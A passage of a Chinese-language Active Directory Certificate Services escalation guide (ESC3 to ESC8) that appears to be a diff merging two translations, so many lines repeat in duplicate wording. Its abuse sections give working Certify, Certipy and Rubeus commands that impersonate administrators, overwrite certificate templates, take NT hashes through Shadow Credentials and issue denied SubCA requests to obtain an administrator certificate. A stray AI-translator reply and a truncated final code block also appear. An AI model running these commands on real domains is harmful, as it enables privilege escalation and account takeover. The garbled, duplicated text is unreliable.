这个场景类似于第一个和第二个,但是**滥用**了一个**不同的 EKU**(证书请求代理)和**两个不同的模板**(因此它有两套要求), 第二种滥用场景是第一种的变体:
**证书请求代理 EKU**OID 1.3.6.1.4.1.311.20.2.1),在 Microsoft 文档中称为**注册代理**,允许一个主体代表另一个用户**注册**一个**证书**。 1. 企业 CA 向低权限用户授予了注册权限。
2. 禁用了经理批准的要求。
3. 省略了授权签名的需求。
4. 证书模板上的过于宽松的安全描述符授予了低权限用户的证书注册权限。
5. **证书模板被定义为包含 Any Purpose EKU 或没有 EKU。**
**“注册代理”** 注册这样一个**模板**,并使用结果**证书共同签署一个 CSR 代表其他用户**。然后它将**共同签署的 CSR** 发送给 CA注册一个允许“代表注册”的**模板**CA 回应一个属于“其他”用户的**证书**。 **Any Purpose EKU** 允许攻击者为**任何目的**获取证书,包括客户端认证、服务器认证、代码签名等。可以使用与 **ESC3** 相同的**技术**来利用这种情况。
没有 **EKUs** 的证书,作为下级 CA 证书,可以被滥用为**任何目的**,也可以**用于签署新证书**。因此,攻击者可以利用下级 CA 证书指定新证书中的任意 EKUs 或字段。
然而,为**域认证**创建的新证书如果下级 CA 未被 **`NTAuthCertificates`** 对象信任,则将无法正常运行,这是默认设置。尽管如此,攻击者仍然可以创建**具有任何 EKU**和任意证书值的新证书。这些可能会被潜在地**滥用**于各种目的(例如代码签名、服务器认证等),并且可能对网络中的其他应用程序(如 SAML、AD FS 或 IPSec产生重大影响。
要枚举符合 AD Forest 配置模式中此场景的模板,可以运行以下 LDAP 查询:
```
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
```
## 配置错误的注册代理模板 - ESC3
### 解释
这种情况类似于前两种,但滥用了**不同的 EKU**(证书请求代理)和**2个不同的模板**因此有2组要求
**证书请求代理 EKU**OID 1.3.6.1.4.1.311.20.2.1),在微软文档中称为**注册代理**,允许主体**代表另一个用户**为**证书**进行**注册**。
**“注册代理”**在这种**模板**中注册,并使用生成的**证书共同签署代表其他用户的 CSR**。然后**发送**共同签署的 CSR 到 CA注册在**允许“代表”注册**的模板中CA 会回复一个**属于“其他”用户的证书**。
**要求 1:** **要求 1:**
1. 企业 CA 允许低权限用户注册权。 - 企业 CA 授予低特权用户注册权限
2. 管理员批准被禁用。 - 不需要经理批准
3. 不需要授权签名。 - 不需要授权签名。
4. 过于宽松的证书模板安全描述符允许低权限用户注册证书。 - 证书模板的安全描述符过于宽松,授予低特权用户注册权限
5. **证书模板定义了证书请求代理 EKU**。证书请求代理 OID (1.3.6.1.4.1.311.20.2.1) 允许代表其他主体请求其他证书模板。 - 证书模板包含证书请求代理 EKU允许代表其他主体请求其他证书模板。
**要求 2:** **要求 2:**
1. 企业 CA 允许低权限用户注册权。 - 企业 CA 授予低特权用户注册权限
2. 管理员批准被禁用。 - 绕过经理批准
3. **模板架构版本 1 或大于 2并指定了一个应用策略发布要求要求证书请求代理 EKU。** - 模板的模式版本为 1 或超过 2并指定了一个需要证书请求代理 EKU 的应用程序策略签发要求。
4. 证书模板定义了一个允许域认证的 EKU。 - 证书模板中定义的 EKU 允许域身份验证
5. CA 上没有实施注册代理限制。 - CA 上未应用注册代理的限制。
### 滥用 ### 滥用
你可以使用 [**Certify**](https://github.com/GhostPack/Certify) 或 [**Certipy**](https://github.com/ly4k/Certipy) 来滥用这个场景 您可以使用[**Certify**](https://github.com/GhostPack/Certify)或[**Certipy**](https://github.com/ly4k/Certipy)来滥用这种情况
```bash ```bash
# Request an enrollment agent certificate # Request an enrollment agent certificate
Certify.exe request /ca:CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA /template:Vuln-EnrollmentAgent Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local' -ca 'corp-CA' -template 'templateName' certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local' -ca 'corp-CA' -template 'templateName'
# Enrollment agent certificate to issue a certificate request on behalf of # Enrollment agent certificate to issue a certificate request on behalf of
# another user to a template that allow for domain authentication # another user to a template that allow for domain authentication
Certify.exe request /ca:CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf
certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx' certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'
# Use Rubeus with the certificate to authenticate as the other user # Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
``` ```
企业CA可以通过打开`certsrc.msc` `snap-in -> 右键点击CA -> 点击属性 -> 导航`到“注册代理”标签页,来**限制**可以**获取**注册代理证书的**用户**,注册代理可以注册的模板,以及注册代理可以代表哪些**账户**行动 **用户**被允许**获取****注册代理证书**的,允许注册代理进行注册的模板,以及注册代理可以代表其执行操作的**帐户**可以受到企业CA的限制。这可以通过打开`certsrc.msc` **快照****右键单击CA****单击属性**,然后导航到“注册代理”选项卡来实现
然而,**默认**的CA设置是“**不限制注册代理**”。即使管理员启用了“限制注册代理”,默认设置也是极其宽松的,允许任何人作为任何人注册所有模板 然而,值得注意的是CA的**默认**设置是“**不限制注册代理**”。当管理员启用对注册代理的限制时,将其设置为“限制注册代理”,默认配置仍然非常宽松。它允许**所有人**访问并在所有模板中进行注册
## 易受攻击的证书模板访问控制 - ESC4 ## 可被攻击的证书模板访问控制 - ESC4
### **解释** ### **解释**
**证书模板**有一个**安全描述符**指定了哪些AD**主体**对模板有特定的**权限**。 **证书模板**上的**安全描述符**定义了特定**AD主体**对模板拥有的**权限**。
如果**攻击者**有足够的**权限**去**修改**一个**模板**并**创建**前面章节中的任何可利用的**配置错误**,他将能够利用它并**提升权限** 如果**攻击者**拥有足够的**权限**来**更改**一个**模板**并**实施**在**前几节**中概述的任何**可利用的配置错误**,则可能促成特权升级
对证书模板的有趣权限包括: 适用于证书模板的显着权限包括:
* **Owner所有者** 对象的隐含完全控制权,可以编辑任何属性。 - **所有者:**授予对对象的隐式控制,允许修改任何属性。
* **FullControl完全控制** 对象的完全控制权,可以编辑任何属性 - **完全控制:**允许完全控制对象,包括修改任何属性的能力
* **WriteOwner写所有者** 可以将所有者修改为攻击者控制的主体。 - **WriteOwner**允许将对象的所有者更改为攻击者控制下的主体。
* **WriteDacl写访问控制列表** 可以修改访问控制以授予攻击者FullControl - **WriteDacl**允许调整访问控制,可能授予攻击者完全控制
* **WriteProperty写属性** 可以编辑任何属性 - **WriteProperty**授权编辑任何对象属性。
### 滥用 ### 滥用
一个类似前面提到的权限提升的例 类似于先前的权升一个示例:
<figure><img src="../../../.gitbook/assets/image (15) (2).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (15) (2).png" alt=""><figcaption></figcaption></figure>
ESC4是指用户对证书模板有写权限。例如,这可以被滥用来覆盖证书模板的配置,使模板易受ESC1的攻击。 ESC4是指用户对证书模板具有写权限。例如,这可以被滥用以覆盖证书模板的配置,使模板容易受到ESC1的攻击。
如上路径所示,只有`JOHNPC`有这些权限,但我们的用户`JOHN`有新的`AddKeyCredentialLink`边缘到`JOHNPC`。由于这项技术与证书有关,我也实现了这种攻击,这被称为[Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)。这里有Certipy的`shadow auto`命令的一个小预览用于检索受害者的NT哈希。 正如我们在上面的路径中所看到的,只有`JOHNPC`拥有这些权限,但我们的用户`JOHN`具有`AddKeyCredentialLink`边缘到`JOHNPC`的新权限。由于这种技术与证书有关,我也实施了这种攻击,这被称为[Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)。这里是Certipy的`shadow auto`命令的一个小窥视用于检索受害者的NT哈希。
```bash
<figure><img src="../../../.gitbook/assets/image (1) (2) (1).png" alt=""><figcaption></figcaption></figure> certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
```
**Certipy**可以用一个命令覆盖证书模板的配置。**默认情况下**Certipy会**覆盖**配置使其**易受ESC1攻击**。我们也可以指定**`-save-old`参数来保存旧配置**,这在我们攻击后**恢复**配置时会很有用。 **Certipy**可以使用一条命令覆盖证书模板的配置。默认情况下Certipy将覆盖配置以使其容易受到ESC1的攻击。我们还可以指定`-save-old`参数来保存旧配置,这在攻击后恢复配置时会很有用。
```bash ```bash
# Make template vuln to ESC1 # Make template vuln to ESC1
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
@ -165,89 +172,82 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target
# Restore config # Restore config
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json
``` ```
## Vulnerable PKI Object Access Control - ESC5 ## 脆弱的PKI对象访问控制 - ESC5
### 说明 ### 解释
影响AD CS安全的基于ACL的相互关联关系网非常广泛。几个**证书模板和证书授权机构本身之外的对象**可以对**整个AD CS系统的安全产生影响**。这些可能性包括(但不限于) 相互连接的基于ACL的关系网络涵盖了除证书模板和证书颁发机构之外的多个对象可能影响整个AD CS系统的安全性。这些对象对安全性有重大影响包括
* **CA服务器的AD计算机对象**例如通过S4U2Self或S4U2Proxy的妥协 - CA服务器的AD计算机对象可能通过S4U2Self或S4U2Proxy等机制受到损害。
* **CA服务器的RPC/DCOM服务器** - CA服务器的RPC/DCOM服务器。
* 容器`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`中的任何**后代AD对象或容器**例如证书模板容器、认证机构容器、NTAuthCertificates对象、注册服务容器等 - 特定容器路径`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`内的任何后代AD对象或容器。该路径包括但不限于证书模板容器、证书颁发机构容器、NTAuthCertificates对象和Enrollment Services容器。
如果低权限攻击者能够**控制其中任何一个**,攻击很可能**危及PKI系统** 如果低权限攻击者设法控制这些关键组件中的任何一个PKI系统的安全性可能会受到损害
## EDITF\_ATTRIBUTESUBJECTALTNAME2 - ESC6 ## EDITF\_ATTRIBUTESUBJECTALTNAME2 - ESC6
### 说明 ### 解释
还有一个类似的问题,在[**CQure Academy文章**](https://cqureacademy.com/blog/enhanced-key-usage)中有描述,涉及到**`EDITF_ATTRIBUTESUBJECTALTNAME2`**标志。正如微软所描述的,“**如果**这个标志在CA上被**设置****任何请求**包括当主题是从Active Directory®构建的时候都可以在**主题备用名称**中包含**用户定义的值**。”\ [CQure Academy文章](https://cqureacademy.com/blog/enhanced-key-usage)中讨论的主题也涉及到Microsoft概述的**`EDITF_ATTRIBUTESUBJECTALTNAME2`**标志的含义。当在证书颁发机构CA上激活此配置时允许在**主题备用名称**中包含**用户定义的值**,用于**任何请求**包括从Active Directory®构建的请求。因此此配置允许**入侵者**通过为域**身份验证**设置的**任何模板**进行注册,特别是那些对**非特权用户**开放的用户模板。结果,可以获得一个证书,使入侵者能够作为域管理员或域内的**任何其他活动实体**进行身份验证。
这意味着**攻击者**可以注册**任何**配置为域**认证**的**模板**,同时也**允许无特权**用户注册(例如,默认的用户模板),并**获取证书**,允许我们以域管理员(或**任何其他活跃用户/机器**)的身份**认证**。
**注意**这里的**备用名称**是通过`certreq.exe`的`-attrib "SAN:"`参数即“名称值对”包含在CSR中的。这与在ESC1中**滥用SANs**的方法**不同**,因为它是**将账户信息存储在证书属性中,而不是证书扩展中** **注意**通过在`certreq.exe`中使用`-attrib "SAN:"`参数(称为“名称值对”)将**备用名称**附加到证书签名请求CSR的方法与ESC1中对SAN的利用策略形成**对比**。这里的区别在于**帐户信息如何封装**—在证书属性中,而不是在扩展中
### 滥用 ### 滥用
组织可以使用以下`certutil.exe`命令**检查设置是否启用** 要验证设置是否已激活,组织可以使用以下命令与`certutil.exe`
```bash ```bash
certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags" certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
``` ```
下面,这只是使用了**远程** **注册表**,因此以下命令也可能有效 这个操作基本上使用了**远程注册表访问**,因此,另一种方法可能是
``` ```bash
reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
``` ```
[**Certify**](https://github.com/GhostPack/Certify) 和 [**Certipy**](https://github.com/ly4k/Certipy) 也会检查这个问题,并且可以用来滥用这种错误配置 工具如[**Certify**](https://github.com/GhostPack/Certify)和[**Certipy**](https://github.com/ly4k/Certipy)能够检测到这种错误配置并利用它
```bash ```bash
# Check for vulns, including this one # Detect vulnerabilities, including this one
Certify.exe find Certify.exe find
# Abuse vuln # Exploit vulnerability
Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:User /altname:localadmin Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
``` ```
这些设置可以在任何系统上进行**设置**,假设有**域管理员**(或同等)权限 要更改这些设置,假设拥有**域管理员**权限或等效权限,可以从任何工作站执行以下命令
```bash ```bash
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2 certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
``` ```
如果您在环境中发现此设置,您可以使用以下命令**移除此标志** 要在您的环境中禁用此配置,可以使用以下命令删除标志
```bash ```bash
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2 certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
``` ```
{% hint style="warning" %} {% hint style="warning" %}
在 2022 年 5 月的安全更新之后,新的**证书**将具有一个**安全扩展**,该扩展嵌入了**请求者的 `objectSid` 属性**。对于 ESC1此属性将反映自指定的 SAN但对于 **ESC6**,此属性反映的是**请求者的 `objectSid`**,而不是来自 SAN。\ 在 2022 年 5 月的安全更新之后,新发布的**证书**将包含一个**安全扩展**,其中包含了**请求者的 `objectSid` 属性**。对于 ESC1此 SID 是从指定的 SAN 派生而来。然而,对于**ESC6**SID 反映了**请求者的 `objectSid`**,而不是 SAN。\
因此,**要滥用 ESC6**,环境必须容易受到 ESC10 的攻击(弱证书映射),在这种情况下,**SAN 会被优先于新的安全扩展**。 要利用 ESC6系统必须容易受到 ESC10弱证书映射的影响该映射将**SAN 优先于新的安全扩展**。
{% endhint %} {% endhint %}
## 易受攻击的证书授权访问控制 - ESC7 ## 易受攻击的证书颁发机构访问控制 - ESC7
### 攻击 1 ### 攻击 1
#### 解释 #### 解释
证书授权本身具有一套**权限**,用于保护各种**CA 操作**。这些权限可以通过 `certsrv.msc` 访问,右键单击 CA选择属性然后切换到安全选项卡 证书颁发机构的访问控制是通过一组权限来维护的,这些权限管理着 CA 的操作。可以通过访问 `certsrv.msc`,右键单击 CA选择属性然后导航到安全选项卡来查看这些权限。此外可以使用 PSPKI 模块来枚举权限,例如:
<figure><img src="../../../.gitbook/assets/image (73) (2).png" alt=""><figcaption></figcaption></figure>
这也可以通过 [**PSPKI 模块**](https://www.pkisolutions.com/tools/pspki/) 使用 `Get-CertificationAuthority | Get-CertificationAuthorityAcl` 来枚举:
```bash ```bash
Get-CertificationAuthority -ComputerName dc.theshire.local | Get-certificationAuthorityAcl | select -expand Access Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
``` ```
这提供了关于主要权限的见解,即**`ManageCA`**和**`ManageCertificates`**分别对应“CA管理员”和“证书管理员”的角色。
#### 滥用 #### 滥用
如果您拥有在**证书颁发机构**上具有**`ManageCA`** 权限的主体,我们可以使用 **PSPKI** 远程翻转 **`EDITF_ATTRIBUTESUBJECTALTNAME2`** 位以**允许 SAN** 在任何模板中指定([ECS6](domain-escalation.md#editf_attributesubjectaltname2-esc6) 在证书颁发机构上拥有**`ManageCA`**权限使主体能够使用PSPKI远程操纵设置。这包括切换**`EDITF_ATTRIBUTESUBJECTALTNAME2`**标志以允许在任何模板中指定SAN这是域提升的关键方面。
<figure><img src="../../../.gitbook/assets/image (1) (2) (1) (1).png" alt=""><figcaption></figcaption></figure> 通过使用PSPKI的**Enable-PolicyModuleFlag** cmdlet可以简化此过程允许进行修改而无需直接GUI交互。
<figure><img src="../../../.gitbook/assets/image (70) (2).png" alt=""><figcaption></figcaption></figure> 拥有**`ManageCertificates`**权限可促使批准待处理请求有效地规避了“CA证书管理员批准”保障。
这也可以用更简单的形式通过 [**PSPKI 的 Enable-PolicyModuleFlag**](https://www.sysadmins.lv/projects/pspki/enable-policymoduleflag.aspx) cmdlet 实现。 **Certify**和**PSPKI**模块的组合可用于请求、批准和下载证书:
**`ManageCertificates`** 权限允许**批准待处理的请求**因此绕过了“CA 证书管理员批准”保护。
您可以使用 **Certify****PSPKI** 模块的**组合**来请求证书,批准它,并下载它:
```powershell ```powershell
# Request a certificate that will require an approval # Request a certificate that will require an approval
Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:ApprovalNeeded Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
[...] [...]
[*] CA Response : The certificate is still pending. [*] CA Response : The certificate is still pending.
[*] Request ID : 336 [*] Request ID : 336
@ -255,39 +255,39 @@ Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:ApprovalNeede
# Use PSPKI module to approve the request # Use PSPKI module to approve the request
Import-Module PSPKI Import-Module PSPKI
Get-CertificationAuthority -ComputerName dc.theshire.local | Get-PendingRequest -RequestID 336 | Approve-CertificateRequest Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -RequestID 336 | Approve-CertificateRequest
# Download the certificate # Download the certificate
Certify.exe download /ca:dc.theshire.local\theshire-DC-CA /id:336 Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
``` ```
### 攻击 2 ### 攻击 2
#### 解释 #### 解释
{% hint style="warning" %} {% hint style="warning" %}
在**前一个攻击**中,使用了**`Manage CA`** 权限来**启用** **EDITF\_ATTRIBUTESUBJECTALTNAME2** 标志以执行 **ESC6 攻击**,但在重启 CA 服务(`CertSvc`)之前,这不会产生任何效果。当用户拥有 `Manage CA` 访问权限时,用户也被允许**重启服务**。然而,这**并不意味着用户可以远程重启服务**。此外,由于 2022 年 5 月的安全更新,**ESC6 可能在大多数打了补丁的环境中无法立即使用**。 在**上一次攻击**中,使用了**`Manage CA`**权限来**启用** **EDITF\_ATTRIBUTESUBJECTALTNAME2** 标志以执行**ESC6攻击**但在CA服务`CertSvc`重新启动之前,这不会产生任何效果。当用户拥有`Manage CA`访问权限时,用户也被允许**重服务**。然而,这**并不意味着用户可以远程重新启动服务**。此外由于2022年5月的安全更新**ESC6**在大多数已打补丁的环境中**可能无法直接使用**。
{% endhint %} {% endhint %}
因此,这里介绍另一种攻击方法 因此,这里提出另一种攻击
先决条件: 先决条件:
* 仅 **`ManageCA` 权限** - 仅**`ManageCA`权限**
* **`管理证书`** 权限(可以通过 **`ManageCA`** 授予) - **`Manage Certificates`**权限(可以从**`ManageCA`**授予)
* 证书模板 **`SubCA`** 必须是**启用**状态(可以通过 **`ManageCA`** 启用) - 必须**启用**证书模板**`SubCA`**(可以从**`ManageCA`**启用)
这项技术依赖于一个事实,即拥有 `Manage CA` _和_ `Manage Certificates` 访问权限的用户可以**发放失败的证书请求**。**`SubCA`** 证书模板**容易受到 ESC1 的攻击**,但**只有管理员**可以注册该模板。因此,一个**用户**可以**请求**注册 **`SubCA`** - 这将被**拒绝** - 但**之后可以由管理员发放**。 该技术依赖于具有`Manage CA`和`Manage Certificates`访问权限的用户可以**发出失败的证书请求**。**`SubCA`**证书模板**易受ESC1攻击**,但**只有管理员**可以在模板中注册。因此,**用户**可以**请求**注册**`SubCA`** - 将被**拒绝** - 但**然后由管理员发放**。
#### 滥用 #### 滥用
你可以通过将你的用户添加为新的官员,**授予自己 `Manage Certificates`** 访问权限。 您可以通过将您的用户添加为新的官员来**授予自己`Manage Certificates`**访问权限。
```bash ```bash
certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k) Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully added officer 'John' on 'corp-DC-CA' [*] Successfully added officer 'John' on 'corp-DC-CA'
``` ```
**`SubCA`** 模板可以使用 `-enable-template` 参数在 CA 上**启用**。默认情况下,`SubCA` 模板是启用的 **`SubCA`** 模板可以使用 `-enable-template` 参数在 CA 上启用。默认情况下,`SubCA` 模板已启用
```bash ```bash
# List templates # List templates
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA' certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
@ -299,9 +299,9 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully enabled 'SubCA' on 'corp-DC-CA' [*] Successfully enabled 'SubCA' on 'corp-DC-CA'
``` ```
如果我们满足了这次攻击的先决条件,我们可以开始**基于`SubCA`模板**请求一个证书。 如果我们已经满足了这次攻击的先决条件,我们可以开始通过**基于`SubCA`模板请求证书**
**这个请求将会被拒绝**,但我们将保存私钥并记录下请求ID。 **这个请求将被拒绝**,但我们会保存私钥并记录请求ID。
```bash ```bash
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k) Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -313,14 +313,14 @@ Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key [*] Saved private key to 785.key
[-] Failed to request certificate [-] Failed to request certificate
``` ```
使用我们的 **`管理 CA` 和 `管理证书`**我们可以使用 `ca` 命令和 `-issue-request <request ID>` 参数来**发失败的证书**请求。 使用我们的 **`Manage CA` 和 `Manage Certificates`**,然后我们可以使用 `ca` 命令和 `-issue-request <request ID>` 参数来 **发失败的证书** 请求。
```bash ```bash
certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k) Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully issued certificate [*] Successfully issued certificate
``` ```
最后,我们可以使用 `req` 命令和 `-retrieve <request ID>` 参数**检索已颁发的证书**。 最后,我们可以使用`req`命令和`-retrieve <request ID>`参数**检索已签发的证书**。
```bash ```bash
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785 certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
Certipy v4.0.0 - by Oliver Lyak (ly4k) Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -332,39 +332,53 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Loaded private key from '785.key' [*] Loaded private key from '785.key'
[*] Saved certificate and private key to 'administrator.pfx' [*] Saved certificate and private key to 'administrator.pfx'
``` ```
## NTLM Relay 到 AD CS HTTP 端点 ESC8 ## NTLM Relay to AD CS HTTP Endpoints ESC8
### 解释 ### 解释
{% hint style="info" %} {% hint style="info" %}
总结来说,如果一个环境安装了 **AD CS**,并且有一个 **易受攻击的 web 登记端点**,至少发布了一个允许 **域计算机注册和客户端认证****证书模板**(如默认的 **`Machine`** 模板),那么 **攻击者可以危害任何运行打印服务的计算机** 在安装了**AD CS**的环境中,如果存在一个**易受攻击的网络登录端点**,并且至少发布了一个允许**域计算机登录和客户端认证**的**证书模板**(例如默认的**`Machine`**模板),那么**任何启用了 spooler 服务的计算机都有可能被攻击者入侵**
{% endhint %} {% endhint %}
AD CS 支持通过额外的 AD CS 服务器角色安装的几种 **基于 HTTP 的注册方法**。这些基于 HTTP 的证书注册接口都 **容易受到 NTLM 中继攻击**。使用 NTLM 中继,攻击者在 **被危害的机器上可以冒充任何进行入站 NTLM 认证的 AD 账户**。在冒充受害者账户时,攻击者可以访问这些 web 接口并 **基于 `User` 或 `Machine` 证书模板请求客户端认证证书** AD CS支持几种基于HTTP的登录方法通过管理员安装的附加服务器角色提供。这些基于HTTP的证书登录接口容易受到**NTLM中继攻击**的影响。攻击者可以从**受攻击的计算机上**冒充通过入站NTLM进行身份验证的**任何AD帐户**。在冒充受害者帐户的同时攻击者可以访问这些Web接口**使用`User`或`Machine`证书模板请求客户端认证证书**
* **web 登记接口**(一个外观较旧的 ASP 应用程序,可在 `http://<caserver>/certsrv/` 访问),默认只支持 HTTP无法防御 NTLM 中继攻击。此外,它明确只允许通过其 Authorization HTTP 头进行 NTLM 认证,因此更安全的协议如 Kerberos 无法使用。 * **网络登录接口**(位于`http://<caserver>/certsrv/`的较旧的ASP应用程序默认仅支持HTTP不提供对NTLM中继攻击的保护。此外它明确只通过其授权HTTP标头允许NTLM身份验证使更安全的身份验证方法如Kerberos无法应用。
* **证书登记服务**CES、**证书登记策略**CEPWeb 服务和 **网络设备登记服务**NDES默认通过其 Authorization HTTP 头支持协商认证。协商认证 **支持** Kerberos 和 **NTLM**;因此,攻击者可以在中继攻击期间 **协商使用 NTLM** 认证。这些 web 服务至少默认启用了 HTTPS但不幸的是 HTTPS 本身 **无法防御 NTLM 中继攻击**。只有将 HTTPS 与通道绑定结合使用时,才能保护 HTTPS 服务免受 NTLM 中继攻击。不幸的是AD CS 没有在 IIS 上启用扩展的身份验证保护,这是启用通道绑定所必需的。 * **证书登录服务**CES、**证书登录策略**CEPWeb服务和**网络设备登录服务**NDES默认支持通过其授权HTTP标头进行协商身份验证。协商身份验证**同时支持**Kerberos和**NTLM**,允许攻击者在中继攻击期间**降级到NTLM**身份验证。尽管这些Web服务默认启用HTTPS但仅使用HTTPS**无法防范NTLM中继攻击**。对于HTTPS服务防范NTLM中继攻击只有在HTTPS与通道绑定结合时才可能。遗憾的是AD CS没有在IIS上激活扩展保护以进行身份验证这是通道绑定所需的。
NTLM 中继攻击的常见 **问题****NTLM 会话通常很短**,并且攻击者 **无法****强制 NTLM 签名** 的服务进行交互。 NTLM中继攻击的一个常见**问题**是**NTLM会话的短暂持续时间**以及攻击者无法与**需要NTLM签名**的服务进行交互。
然而,滥用 NTLM 中继攻击来获取用户证书解决了这些限制,因为会话将持续与证书有效期一样长,且证书可以用来使用 **强制 NTLM 然而通过利用NTLM中继攻击来获取用户的证书可以克服这一限制因为证书的有效期决定了会话的持续时间并且证书可以与**要求NTLM签名**的服务一起使用。有关使用窃取的证书的说明,请参阅:
{% content-ref url="account-persistence.md" %}
[account-persistence.md](account-persistence.md)
{% endcontent-ref %}
NTLM中继攻击的另一个限制是**攻击者控制的计算机必须由受害者帐户进行身份验证**。攻击者可以等待或尝试**强制**进行此身份验证:
{% content-ref url="../printers-spooler-service-abuse.md" %}
[printers-spooler-service-abuse.md](../printers-spooler-service-abuse.md)
{% endcontent-ref %}
### **滥用**
[**Certify**](https://github.com/GhostPack/Certify)的`cas`列举了**已启用的HTTP AD CS端点**
``` ```
Certify.exe cas Certify.exe cas
``` ```
<figure><img src="../../../.gitbook/assets/image (6) (1) (2).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (6) (1) (2).png" alt=""><figcaption></figcaption></figure>
企业CA还会在其AD对象的`msPKI-Enrollment-Servers`属性中**存储CES端点**。**Certutil.exe**和**PSPKI**可以解析并列出这些端点: `msPKI-Enrollment-Servers` 属性被企业证书颁发机构CAs用来存储证书颁发服务CES端点。可以通过工具 **Certutil.exe** 解析并列出这些端点:
``` ```
certutil.exe -enrollmentServerURL -config CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
``` ```
Since there is no English text provided outside of the markdown and HTML syntax, there is nothing to translate. If you have specific English text that you would like translated into Chinese, please provide it, and I will be happy to assist. <figure><img src="../../../.gitbook/assets/image (2) (2) (2) (1).png" alt=""><figcaption></figcaption></figure>
```powershell ```powershell
Import-Module PSPKI Import-Module PSPKI
